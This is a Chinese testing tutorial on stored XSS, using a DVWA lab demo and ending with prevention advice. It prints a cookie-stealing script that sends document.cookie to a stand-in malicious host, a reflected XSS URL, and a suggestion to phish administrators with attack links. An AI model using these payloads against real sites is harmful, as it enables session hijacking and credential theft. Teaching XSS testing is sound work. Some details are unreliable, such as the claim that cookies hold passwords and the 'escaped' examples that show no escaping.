★安全測試之XSS漏洞★
讀書與實踐是獲取知識的主要渠道,學習的權力只掌握在每個人自己手中,讓學習成爲一種生活的習慣,這比任何名牌大學的校徽重要得多!
——張老師
張老師寄語
目 錄
1 XSS(跨站)漏洞是什麼?
2. 如何判斷是否存在持久型XSS攻擊風險?
3. 持久型XSS攻擊的危害?
4. 怎麼防止持久型XSS攻擊呢?
1. XSS(跨站)漏洞是什麼?
XSS是跨站腳本攻擊(Cross Site Scripting)的簡稱,細心的同學可能發現了,英文縮寫應該是"CSS”,但爲什麼不簡稱CSS呢,這是爲了跟跟層疊樣式表(Cascading Style Sheets,CSS)進行區別。
我們做界面測試時,常常在“輸入框”中輸入一些特殊字符、或者超長字符串來驗證這個輸入框是否做了數據格式校驗或者邊界值處理。我們也都知道,如果沒有進行必要的格式驗證或者邊界值處理,就會影響用戶體驗。但不妨再深入思考一下,輸入框中的數據若不作處理,除了“易用性”的問題,是否有更嚴重的情況呢?
答案是肯定的。
如果我們查看一個網頁的源代碼,我們會發現這個頁面大都是html語言,html語言的一個典型特點是它的內容包含在一個個“標籤”中,比如下圖中的<head>、<meta >,程序根據“標籤”來判定頁面上每個元素的邊界。
我們不妨設想一下,如果我們在輸入框中輸入一個“標籤”,藉此來僞造“邊界”以欺騙程序,會發生什麼呢?
其實這便是CSS攻擊的原理了。用稍微專業的話來說就是:客戶端發送請求到服務器端,服務器在沒有驗證請求中的信息的情況下,就對請求進行了處理,從而導致原本正常的頁面被嵌入了惡意HTML代碼。之後當其他用戶訪問該頁面時,惡意代碼自動執行,給用戶造成了危害。
根據XSS漏洞攻擊的特點可以分爲兩類,一類是持久型/存儲型XSS,另一類是非持久型/反射型XSS:
- 持久型/存儲型XSS:嵌入到web頁面的惡意HTML代碼被存儲到服務器端(數據庫),攻擊行爲將伴隨着攻擊數據一直存在。
- 非持久型/反射型XSS:反射型XSS是一次性的,僅對當次的頁面訪問產生影響。這類攻擊的特點是在用戶訪問一個被攻擊者篡改後的頁面時,自動(或誤導用戶主動)跳轉到一個惡意鏈接,之後將惡意代碼植入到用戶遊覽器並執行,從而達到攻擊目的。
下文說說持久型/存儲型XSS漏洞攻擊。
2. 如何判斷是否存在持久型XSS攻擊風險?
1、打開我們的滲透測試的演練系統DVWA:
2、在Message 輸入框裏輸入
提交:
3、重新打開靶機頁面,之前輸入腳本被執行:
4、進入數據庫觀察,看到JS腳本被保存到表內。如果再打開可以查看備註的web頁面,就可以彈出我們添加的“message”信息——這代表我們攻擊成功了,也證明網站存在持久式XSS(跨站)漏洞:
5、從上面的例子我們可以看出,存儲型XSS的數據流向是:
瀏覽器 -> 後端 -> 數據庫 -> 後端 -> 瀏覽器
3. 持久型XSS攻擊的危害?
看到這裏可能有人會疑惑,這個能有什麼用啊?
我們不妨設想一下:如果把上面的“message”字段的值修改成如下的代碼,會有什麼結果?
<a id='attacker'>點關注、不迷路、張老師帶你暢遊測試路</a> <script>document.getElementById('attacker').href='http://www.a123.com/receiveCookies.html?'+document.cookie;</script>
注:http://www.a123.com/receiveCookies.html是惡意網站的url
如果是這樣的惡意代碼,那麼攻擊者就能獲取到這個用戶的cookie信息(cookie中包含了用戶的登錄賬號和密碼),進而以該用戶角色登錄系統。
除此之外,還會有哪些危害呢?
其實,既然都能夠在Web 頁面中注入代碼了,那麼我們能想到的危害它幾乎都可以做到了。除了上面說的攻擊者可以使用 XSS 漏洞竊取 Cookie,劫持帳戶,還可以執行 ActiveX,執行 Flash 內容,強迫用戶下載軟件,或者是對硬盤和數據採取操作。
只要您點擊了某些 URL,這一切便有可能發生!
網絡釣魚攻擊通常利用 XSS 漏洞來僞裝成合法站點。日常生活中可以看到很多這樣的情況,比如某銀行給你發來了一封電子郵件,一頓balabala然後誘使你點擊某個超鏈接。如果仔細觀察這個 URL,它實際上可能利用了銀行網站中存在的漏洞,它們的形式類似於http://mybank.com/somepage?redirect=<script>alert(‘XSS’)</script>,這裏利用了“redirect”參數來執行攻擊。
如果你足夠狡猾且不怕死的話,可以將管理員定爲攻擊目標,你可以發送一封系統故障的郵件,並在正文附加包含攻擊的url。在管理員打開該 URL 後,便可以執行許多惡意操作,例如竊取他的憑證。
總之一句話,XSS的危害性比我們能想象出的更嚴重!
4. 怎麼防止持久型XSS攻擊呢?
從網上搜了一下相關的攻擊預防方法,大家可以參考一下:
1)在頁面上添加用戶輸入長度限制;
2)在服務端(數據庫)添加長度限制;
3)過濾用戶輸入的特殊字符串,對其進行轉義,如下
示例字符串
"<script>document.getElementById('a').href=''+document.cookie;</script>",
下面是轉義之後的字符串
StringEscapeUtils - <script>是不是document.getElementById('a').href=''+document.cookie;</script>HtmlUtils - <script>document.getElementById('a').href=''+document.cookie;</script>
4)http相關的設置:
A)cookie.setHttpOnly(true);--保護用戶cookie
B)res.setHeader("X-Frame-Options", "SAMEORIGIN");
- X-Frame-Options對應的屬性值含義:
- DENY:這個頁面不允許被以frame的方式加載
- SAMEORIGIN:這個頁面只允許同源頁面加載
- <uri>:這個頁面只能被特定的域加載
C)res.setHeader("X-xss-protection", "1;mode=block");
D)res.setHeader("X-Content-Type-Options", "nosniff ");阻止瀏覽器進行content-type 嗅探。告訴瀏覽器相信此服務器下發的資源的類型,防止類型嗅探攻擊。
5. 相關鏈接
投稿:9016 編輯:Mack